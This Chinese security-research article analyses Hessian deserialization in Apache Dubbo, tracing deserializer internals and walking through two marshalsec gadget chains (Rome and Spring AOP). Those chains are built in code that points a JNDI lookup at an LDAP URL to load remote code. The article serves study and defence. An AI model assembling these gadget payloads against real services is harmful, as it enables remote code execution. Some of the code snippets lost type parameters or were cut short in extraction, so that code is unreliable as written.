作者:Longofo@知道創(chuàng)宇404實驗室
時間:2020年2月20日
原文地址:https://paper.seebug.org/1131/
前不久有一個關于Apache Dubbo Http反序列化的漏洞,本來是一個正常功能(通過正常調用抓包即可驗證確實是正常功能而不是非預期的Post),通過Post傳輸序列化數據進行遠程調用,但是如果Post傳遞惡意的序列化數據就能進行惡意利用。Apache Dubbo還支持很多協(xié)議,例如Dubbo(Dubbo Hessian2)、Hessian(包括Hessian與Hessian2,這里的Hessian2與Dubbo Hessian2不是同一個)、Rmi、Http等。Apache Dubbo是遠程調用框架,既然Http方式的遠程調用傳輸了序列化的數據,那么其他協(xié)議也可能存在類似問題,例如Rmi、Hessian等。@pyn3rd師傅之前在 twiter發(fā)了關于Apache Dubbo Hessian協(xié)議的反序列化利用,Apache Dubbo Hessian反序列化問題之前也被提到過, 這篇文章里面講到了Apache Dubbo Hessian存在反序列化被利用的問題,類似的還有Apache Dubbo Rmi反序列化問題。之前也沒比較完整的去分析過一個反序列化組件處理流程,剛好趁這個機會看看Hessian序列化、反序列化過程,以及 marshalsec工具中對于Hessian的幾條利用鏈。
序列化/反序列化機制(或者可以叫編組/解組機制,編組/解組比序列化/反序列化含義要廣),參考 marshalsec.pdf,可以將序列化/反序列化機制分大體分為兩類:
它們最基本的區(qū)別是如何在對象上設置屬性值,它們有共同點,也有自己獨有的不同處理方式。有的通過反射自動調用
getter(xxx)
和
setter(xxx)
訪問對象屬性,有的還需要調用默認Constructor,有的處理器(指的上面列出來的那些)在反序列化對象時,如果類對象的某些方法還滿足自己設定的某些要求,也會被自動調用。還有XMLDecoder這種能調用對象任意方法的處理器。有的處理器在支持多態(tài)特性時,例如某個對象的某個屬性是Object、Interface、abstruct等類型,為了在反序列化時能完整恢復,需要寫入具體的類型信息,這時候可以指定更多的類,在反序列化時也會自動調用具體類對象的某些方法來設置這些對象的屬性值。這種機制的攻擊面比基于Field機制的攻擊面大,因為它們自動調用的方法以及在支持多態(tài)特性時自動調用方法比基于Field機制要多。
基于Field機制是通過特殊的native(native方法不是java代碼實現的,所以不會像Bean機制那樣調用getter、setter等更多的java方法)方法或反射(最后也是使用了native方式)直接對Field進行賦值操作的機制,不是通過getter、setter方式對屬性賦值(下面某些處理器如果進行了特殊指定或配置也可支持Bean機制方式)。在ysoserial中的payload是基于原生Java Serialization,marshalsec支持多種,包括上面列出的和下面列出的。
就對象進行的方法調用而言,基于字段的機制通常通常不構成攻擊面。另外,許多集合、Map等類型無法使用它們運行時表示形式進行傳輸/存儲(例如Map,在運行時存儲是通過計算了對象的hashcode等信息,但是存儲時是沒有保存這些信息的),這意味著所有基于字段的編組器都會為某些類型捆綁定制轉換器(例如Hessian中有專門的MapSerializer轉換器)。這些轉換器或其各自的目標類型通常必須調用攻擊者提供的對象上的方法,例如Hessian中如果是反序列化map類型,會調用MapDeserializer處理map,期間map的put方法被調用,map的put方法又會計算被恢復對象的hash造成hashcode調用(這里對hashcode方法的調用就是前面說的必須調用攻擊者提供的對象上的方法),根據實際情況,可能hashcode方法中還會觸發(fā)后續(xù)的其他方法調用。
Hessian是二進制的web service協(xié)議,官方對Java、Flash/Flex、Python、C++、.NET C#等多種語言都進行了實現。Hessian和Axis、XFire都能實現web service方式的遠程方法調用,區(qū)別是Hessian是二進制協(xié)議,Axis、XFire則是SOAP協(xié)議,所以從性能上說Hessian遠優(yōu)于后兩者,并且Hessian的JAVA使用方法非常簡單。它使用Java語言接口定義了遠程對象,集合了序列化/反序列化和RMI功能。本文主要講解Hessian的序列化/反序列化。
下面做個簡單測試下Hessian Serialization與Java Serialization:
//Student.javaimport java.io.Serializable;public class Student implements Serializable { private static final long serialVersionUID = 1L; private int id; private String name; private transient String gender; public int getId() { System.out.println("Student getId call"); return id; } public void setId(int id) { System.out.println("Student setId call"); this.id = id; } public String getName() { System.out.println("Student getName call"); return name; } public void setName(String name) { System.out.println("Student setName call"); this.name = name; } public String getGender() { System.out.println("Student getGender call"); return gender; } public void setGender(String gender) { System.out.println("Student setGender call"); this.gender = gender; } public Student() { System.out.println("Student default constractor call"); } public Student(int id, String name, String gender) { this.id = id; this.name = name; this.gender = gender; } @Override public String toString() { return "Student(id=" + id + ",name=" + name + ",gender=" + gender + ")"; }}
//HJSerializationTest.javaimport com.caucho.hessian.io.HessianInput;import com.caucho.hessian.io.HessianOutput;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;public class HJSerializationTest { public staticbyte[] hserialize(T t) { byte[] data = null; try { ByteArrayOutputStream os = new ByteArrayOutputStream(); HessianOutput output = new HessianOutput(os); output.writeObject(t); data = os.toByteArray(); } catch (Exception e) { e.printStackTrace(); } return data; } public static T hdeserialize(byte[] data) { if (data == null) { return null; } Object result = null; try { ByteArrayInputStream is = new ByteArrayInputStream(data); HessianInput input = new HessianInput(is); result = input.readObject(); } catch (Exception e) { e.printStackTrace(); } return (T) result; } public static byte[] jdkSerialize(T t) { byte[] data = null; try { ByteArrayOutputStream os = new ByteArrayOutputStream(); ObjectOutputStream output = new ObjectOutputStream(os); output.writeObject(t); output.flush(); output.close(); data = os.toByteArray(); } catch (Exception e) { e.printStackTrace(); } return data; } public static T jdkDeserialize(byte[] data) { if (data == null) { return null; } Object result = null; try { ByteArrayInputStream is = new ByteArrayInputStream(data); ObjectInputStream input = new ObjectInputStream(is); result = input.readObject(); } catch (Exception e) { e.printStackTrace(); } return (T) result; } public static void main(String[] args) { Student stu = new Student(1, "hessian", "boy"); long htime1 = System.currentTimeMillis(); byte[] hdata = hserialize(stu); long htime2 = System.currentTimeMillis(); System.out.println("hessian serialize result length = " + hdata.length + "," + "cost time:" + (htime2 - htime1)); long htime3 = System.currentTimeMillis(); Student hstudent = hdeserialize(hdata); long htime4 = System.currentTimeMillis(); System.out.println("hessian deserialize result:" + hstudent + "," + "cost time:" + (htime4 - htime3)); System.out.println(); long jtime1 = System.currentTimeMillis(); byte[] jdata = jdkSerialize(stu); long jtime2 = System.currentTimeMillis(); System.out.println("jdk serialize result length = " + jdata.length + "," + "cost time:" + (jtime2 - jtime1)); long jtime3 = System.currentTimeMillis(); Student jstudent = jdkDeserialize(jdata); long jtime4 = System.currentTimeMillis(); System.out.println("jdk deserialize result:" + jstudent + "," + "cost time:" + (jtime4 - jtime3)); }}
結果如下:
hessian serialize result length = 64,cost time:45hessian deserialize result:Student(id=1,name=hessian,gender=null),cost time:3jdk serialize result length = 100,cost time:5jdk deserialize result:Student(id=1,name=hessian,gender=null),cost time:43
通過這個測試可以簡單看出Hessian反序列化占用的空間比JDK反序列化結果小,Hessian序列化時間比JDK序列化耗時長,但Hessian反序列化很快。并且兩者都是基于Field機制,沒有調用getter、setter方法,同時反序列化時構造方法也沒有被調用。
下面的是網絡上對Hessian分析時常用的概念圖,在新版中是整體也是這些結構,就直接拿來用了:
Hessian Serializer/Derializer默認情況下實現了以下序列化/反序列化器,用戶也可通過接口/抽象類自定義序列化/反序列化器:
序列化時會根據對象、屬性不同類型選擇對應的序列化其進行序列化;反序列化時也會根據對象、屬性不同類型選擇不同的反序列化器;每個類型序列化器中還有具體的FieldSerializer。這里注意下JavaSerializer/JavaDeserializer與BeanSerializer/BeanDeserializer,它們不是類型序列化/反序列化器,而是屬于機制序列化/反序列化器:
JavaSerializer:通過反射獲取所有bean的屬性進行序列化,排除static和transient屬性,對其他所有的屬性進行遞歸序列化處理(比如屬性本身是個對象)
BeanSerializer是遵循pojo bean的約定,掃描bean的所有方法,發(fā)現存在get和set方法的屬性進行序列化,它并不直接直接操作所有的屬性,比較溫柔
這里使用一個demo進行調試,在Student屬性包含了String、int、List、Map、Object類型的屬性,添加了各屬性setter、getter方法,還有readResovle、finalize、toString、hashCode方法,并在每個方法中進行了輸出,方便觀察。雖然不會覆蓋Hessian所有邏輯,不過能大概看到它的面貌:
//people.javapublic class People { int id; String name; public int getId() { System.out.println("Student getId call"); return id; } public void setId(int id) { System.out.println("Student setId call"); this.id = id; } public String getName() { System.out.println("Student getName call"); return name; } public void setName(String name) { System.out.println("Student setName call"); this.name = name; }}
//Student.javapublic class Student extends People implements Serializable { private static final long serialVersionUID = 1L; private static Student student = new Student(111, "xxx", "ggg"); private transient String gender; private Map> innerMap; private List friends; public void setFriends(List friends) { System.out.println("Student setFriends call"); this.friends = friends; } public void getFriends(List friends) { System.out.println("Student getFriends call"); this.friends = friends; } public Map getInnerMap() { System.out.println("Student getInnerMap call"); return innerMap; } public void setInnerMap(Map innerMap) { System.out.println("Student setInnerMap call"); this.innerMap = innerMap; } public String getGender() { System.out.println("Student getGender call"); return gender; } public void setGender(String gender) { System.out.println("Student setGender call"); this.gender = gender; } public Student() { System.out.println("Student default constructor call"); } public Student(int id, String name, String gender) { System.out.println("Student custom constructor call"); this.id = id; this.name = name; this.gender = gender; } private void readObject(ObjectInputStream ObjectInputStream) { System.out.println("Student readObject call"); } private Object readResolve() { System.out.println("Student readResolve call"); return student; } @Override public int hashCode() { System.out.println("Student hashCode call"); return super.hashCode(); } @Override protected void finalize() throws Throwable { System.out.println("Student finalize call"); super.finalize(); } @Override public String toString() { return "Student{" + "id=" + id + ", name='" + name + '\'' + ", gender='" + gender + '\'' + ", innerMap=" + innerMap + ", friends=" + friends + '}'; }}
//SerialTest.javapublic class SerialTest { public staticbyte[] serialize(T t) { byte[] data = null; try { ByteArrayOutputStream os = new ByteArrayOutputStream(); HessianOutput output = new HessianOutput(os); output.writeObject(t); data = os.toByteArray(); } catch (Exception e) { e.printStackTrace(); } return data; } public static T deserialize(byte[] data) { if (data == null) { return null; } Object result = null; try { ByteArrayInputStream is = new ByteArrayInputStream(data); HessianInput input = new HessianInput(is); result = input.readObject(); } catch (Exception e) { e.printStackTrace(); } return (T) result; } public static void main(String[] args) { int id = 111; String name = "hessian"; String gender = "boy"; Map innerMap = new HashMap >(); innerMap.put("1", ObjectInputStream.class); innerMap.put("2", SQLData.class); Student friend = new Student(222, "hessian1", "boy"); List friends = new ArrayList (); friends.add(friend); Student stu = new Student(); stu.setId(id); stu.setName(name); stu.setGender(gender); stu.setInnerMap(innerMap); stu.setFriends(friends); System.out.println("---------------hessian serialize----------------"); byte[] obj = serialize(stu); System.out.println(new String(obj)); System.out.println("---------------hessian deserialize--------------"); Student student = deserialize(obj); System.out.println(student); }}
下面是對上面這個demo進行調試后畫出的Hessian在反序列化時處理的大致面貌(圖片太大,無法上傳,建議去 https://paper.seebug.org/1131/查看原文):
下面通過在調試到某些關鍵位置具體說明。
首先進入HessianInput.readObject(),讀取tag類型標識符,由于Hessian序列化時將結果處理成了Map,所以第一個tag總是M(ascii 77):
在
case 77
這個處理中,讀取了要反序列化的類型,接著調用
this._serializerFactory.readMap(in,type)
進行處理,默認情況下serializerFactory使用的Hessian標準實現SerializerFactory:
先獲取該類型對應的Deserializer,接著調用對應Deserializer.readMap(in)進行處理,看下如何獲取對應的Derserializer:
第一個紅框中主要是判斷在
_cacheTypeDeserializerMap
中是否緩存了該類型的反序列化器;第二個紅框中主要是判斷是否在
_staticTypeMap
中緩存了該類型反序列化器,
_staticTypeMap
主要存儲的是基本類型與對應的反序列化器;第三個紅框中判斷是否是數組類型,如果是的話則進入數組類型處理;第四個獲取該類型對應的Class,進入
this.getDeserializer(Class)
再獲取該類對應的Deserializer,本例進入的是第四個:
這里再次判斷了是否在緩存中,不過這次是使用的
_cacheDeserializerMap
,它的類型是
ConcurrentHashMap
,之前是
_cacheTypeDeserializerMap
,類型是
HashMap
,這里可能是為了解決多線程中獲取的問題。本例進入的是第二個
this.loadDeserializer(Class)
:
第一個紅框中是遍歷用戶自己設置的SerializerFactory,并嘗試從每一個工廠中獲取該類型對應的Deserializer;第二個紅框中嘗試從上下文工廠獲取該類型對應的Deserializer;第三個紅框嘗試創(chuàng)建上下文工廠,并嘗試獲取該類型自定義Deserializer,并且該類型對應的Deserializer需要是類似
xxxHessianDeserializer
,xxx表示該類型類名;第四個紅框依次判斷,如果匹配不上,則使用
getDefaultDeserializer(Class),
本例進入的是第四個:
_isEnableUnsafeSerializer
默認是為true的,這個值的確定首先是根據
sun.misc.Unsafe
的theUnsafe字段是否為空決定,而
sun.misc.Unsafe
的theUnsafe字段默認在靜態(tài)代碼塊中初始化了并且不為空,所以為true;接著還會根據系統(tǒng)屬性
com.caucho.hessian.unsafe
是否為false,如果為false則忽略由
sun.misc.Unsafe
確定的值,但是系統(tǒng)屬性
com.caucho.hessian.unsafe
默認為null,所以不會替換剛才的ture結果。因此,
_isEnableUnsafeSerializer
的值默認為true,所以上圖默認就是使用的UnsafeDeserializer,進入它的構造方法。
在這里獲取了該類型所有屬性并確定了對應得FieldDeserializer,還判斷了該類型的類中是否存在ReadResolve()方法,先看類型屬性與FieldDeserializer如何確定:
獲取該類型以及所有父類的屬性,依次確定對應屬性的FIeldDeserializer,并且屬性不能是transient、static修飾的屬性。下面就是依次確定對應屬性的FieldDeserializer了,在UnsafeDeserializer中自定義了一些FieldDeserializer。
接著上面的UnsafeDeserializer構造器中,還會判斷該類型的類中是否有
readResolve()
方法:
通過遍歷該類中所有方法,判斷是否存在
readResolve()
方法。
好了,后面基本都是原路返回獲取到的Deserializer,本例中該類使用的是UnsafeDeserializer,然后回到
SerializerFactory.readMap(in,type)
中,調用
UnsafeDeserializer.readMap(in)
:
至此,獲取到了本例中
com.longofo.deserialize.Student
類的反序列化器
UnsafeDeserializer
,以各字段對應的FieldSerializer,同時在Student類中定義了
readResolve()
方法,所以獲取到了該類的
readResolve()
方法。
接下來為目標類型分配了一個對象:
通過
_unsafe.allocateInstance(classType)
分配該類的一個實例,該方法是一個
sun.misc.Unsafe
中的native方法,為該類分配一個實例對象不會觸發(fā)構造器的調用,這個對象的各屬性現在也只是賦予了JDK默認值。
接下來就是恢復目標類型對象的屬性值:
進入循環(huán),先調用
in.readObject()
從輸入流中獲取屬性名稱,接著從之前確定好的
this._fieldMap
中匹配該屬性對應的FieldDeserizlizer,然后調用匹配上的FieldDeserializer進行處理。本例中進行了序列化的屬性有innerMap(Map類型)、name(String類型)、id(int類型)、friends(List類型),這里以innerMap這個屬性恢復為例。
innerMap對應的FieldDeserializer為
UnsafeDeserializer$ObjectFieldDeserializer
:
首先調用
in.readObject(fieldClassType)
從輸入流中獲取該屬性值,接著調用了
_unsafe.putObject
這個位于
sun.misc.Unsafe
中的native方法,并且不會觸發(fā)getter、setter方法的調用。這里看下
in.readObject(fieldClassType)
具體如何處理的:
這里Map類型使用的是MapDeserializer,對應的調用
MapDeserializer.readMap(in)
方法來恢復一個Map對象:
注意這里的幾個判斷,如果是Map接口類型則使用HashMap,如果是SortedMap類型則使用TreeMap,其他Map則會調用對應的默認構造器,本例中由于是Map接口類型,使用的是HashMap。接下來經典的場景就來了,先使用
in.readObject()
(這個過程和之前的類似,就不重復了)恢復了序列化數據中Map的key,value對象,接著調用了
map.put(key,value)
,這里是HashMap,在HashMap的put方法會調用
hash(key)
觸發(fā)key對象的
key.hashCode()
方法,在put方法中還會調用putVal,putVal又會調用key對象的
key.equals(obj)
方法。處理完所有key,value后,返回到
UnsafeDeserializer$ObjectFieldDeserializer
中:
使用native方法
_unsafe.putObject
完成對象的innerMap屬性賦值。
在marshalsec工具中,提供了對于Hessian反序列化可利用的幾條鏈:
Rome
XBean
Resin
SpringPartiallyComparableAdvisorHolder
SpringAbstractBeanFactoryPointcutAdvisor
下面分析其中的兩條Rome和SpringPartiallyComparableAdvisorHolder,Rome是通過
HashMap.put
->
key.hashCode
觸發(fā),SpringPartiallyComparableAdvisorHolder是通過
HashMap.put
->
key.equals
觸發(fā)。其他幾個也是類似的,要么利用hashCode、要么利用equals。
在marshalsec中有所有對應的Gadget Test,很方便:
這里將Hessian對SpringPartiallyComparableAdvisorHolder這條利用鏈提取出來看得比較清晰些:
String jndiUrl = "ldap://localhost:1389/obj";SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();bf.setShareableResources(jndiUrl);//反序列化時BeanFactoryAspectInstanceFactory.getOrder會被調用,會觸發(fā)調用SimpleJndiBeanFactory.getType->SimpleJndiBeanFactory.doGetType->SimpleJndiBeanFactory.doGetSingleton->SimpleJndiBeanFactory.lookup->JndiTemplate.lookupReflections.setFieldValue(bf, "logger", new NoOpLog());Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());//反序列化時AspectJAroundAdvice.getOrder會被調用,會觸發(fā)BeanFactoryAspectInstanceFactory.getOrderAspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);Reflections.setFieldValue(aif, "beanFactory", bf);Reflections.setFieldValue(aif, "name", jndiUrl);//反序列化時AspectJPointcutAdvisor.getOrder會被調用,會觸發(fā)AspectJAroundAdvice.getOrderAbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class);Reflections.setFieldValue(advice, "aspectInstanceFactory", aif);//反序列化時PartiallyComparableAdvisorHolder.toString會被調用,會觸發(fā)AspectJPointcutAdvisor.getOrderAspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class);Reflections.setFieldValue(advisor, "advice", advice);//反序列化時Xstring.equals會被調用,會觸發(fā)PartiallyComparableAdvisorHolder.toStringClass> pcahCl = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");Object pcah = Reflections.createWithoutConstructor(pcahCl);Reflections.setFieldValue(pcah, "advisor", advisor);//反序列化時HotSwappableTargetSource.equals會被調用,觸發(fā)Xstring.equalsHotSwappableTargetSource v1 = new HotSwappableTargetSource(pcah);HotSwappableTargetSource v2 = new HotSwappableTargetSource(Xstring("xxx"));//反序列化時HashMap.putVal會被調用,觸發(fā)HotSwappableTargetSource.equals。這里沒有直接使用HashMap.put設置值,直接put會在本地觸發(fā)利用鏈,所以使用marshalsec使用了比較特殊的處理方式。
HashMap
看以下觸發(fā)流程:
經過
HessianInput.readObject()
,到了
MapDeserializer.readMap(in)
進行處理Map類型屬性,這里觸發(fā)了
HashMap.put(key,value)
:
HashMap.put
有調用了
HashMap.putVal
方法,第二次put時會觸發(fā)
key.equals(k)
方法:
此時key與k分別如下,都是HotSwappableTargetSource對象:
進入
HotSwappableTargetSource.equals
:
在
HotSwappableTargetSource.equals
中又觸發(fā)了各自
target.equals
方法,也就是
XString.equals(PartiallyComparableAdvisorHolder)
:
在這里觸發(fā)了
PartiallyComparableAdvisorHolder.toString
:
發(fā)了
AspectJPointcutAdvisor.getOrder
:
觸發(fā)了
AspectJAroundAdvice.getOrder
:
這里又觸發(fā)了
BeanFactoryAspectInstanceFactory.getOrder
:
又觸發(fā)了
SimpleJndiBeanFactory.getTYpe
->
SimpleJndiBeanFactory.doGetType
->
SimpleJndiBeanFactory.doGetSingleton
->
SimpleJndiBeanFactory.lookup
->
JndiTemplate.lookup
->
Context.lookup
:
Rome相對來說觸發(fā)過程簡單些:
同樣將利用鏈提取出來:
//反序列化時ToStringBean.toString()會被調用,觸發(fā)JdbcRowSetImpl.getDatabaseMetaData->JdbcRowSetImpl.connect->Context.lookupString jndiUrl = "ldap://localhost:1389/obj";JdbcRowSetImpl rs = new JdbcRowSetImpl();rs.setDataSourceName(jndiUrl);rs.setMatchColumn("foo");//反序列化時EqualsBean.beanHashCode會被調用,觸發(fā)ToStringBean.toStringToStringBean item = new ToStringBean(JdbcRowSetImpl.class, obj);//反序列化時HashMap.hash會被調用,觸發(fā)EqualsBean.hashCode->EqualsBean.beanHashCodeEqualsBean root = new EqualsBean(ToStringBean.class, item);//HashMap.put->HashMap.putVal->HashMap.hashHashMap
看下觸發(fā)過程:
經過
HessianInput.readObject()
,到了
MapDeserializer.readMap(in)
進行處理Map類型屬性,這里觸發(fā)了
HashMap.put(key,value)
:
接著調用了hash方法,其中調用了
key.hashCode
方法:
接著觸發(fā)了
EqualsBean.hashCode->EqualsBean.beanHashCode
:
觸發(fā)了
ToStringBean.toString
:
這里調用了
JdbcRowSetImpl.getDatabaseMetadata
,其中又觸發(fā)了
JdbcRowSetImpl.connect
->
context.lookup
:
通過以上兩條鏈可以看出,在Hessian反序列化中基本都是利用了反序列化處理Map類型時,會觸發(fā)調用
Map.put
->
Map.putVal
->
key.hashCode
/
key.equals
->...,后面的一系列出發(fā)過程,也都與多態(tài)特性有關,有的類屬性是Object類型,可以設置為任意類,而在hashCode、equals方法又恰好調用了屬性的某些方法進行后續(xù)的一系列觸發(fā)。所以要挖掘這樣的利用鏈,可以直接找有hashCode、equals以及readResolve方法的類,然后人進行判斷與構造,不過這個工作量應該很大;或者使用一些利用鏈挖掘工具,根據需要編寫規(guī)則進行掃描。
先簡單看下之前說到的HTTP問題吧,直接用官方提供的
samples,其中有一個dubbo-samples-http可以直接拿來用,直接在
DemoServiceImpl.sayHello
方法中打上斷點,在
RemoteInvocationSerializingExporter.doReadRemoteInvocation
中反序列化了數據,使用的是Java Serialization方式:
抓包看下,很明顯的
ac ed
標志:
同樣使用官方提供的dubbo-samples-basic,默認Dubbo hessian2協(xié)議,Dubbo對hessian2進行了魔改,不過大體結構還是差不多,在
MapDeserializer.readMap
是依然與Hessian類似: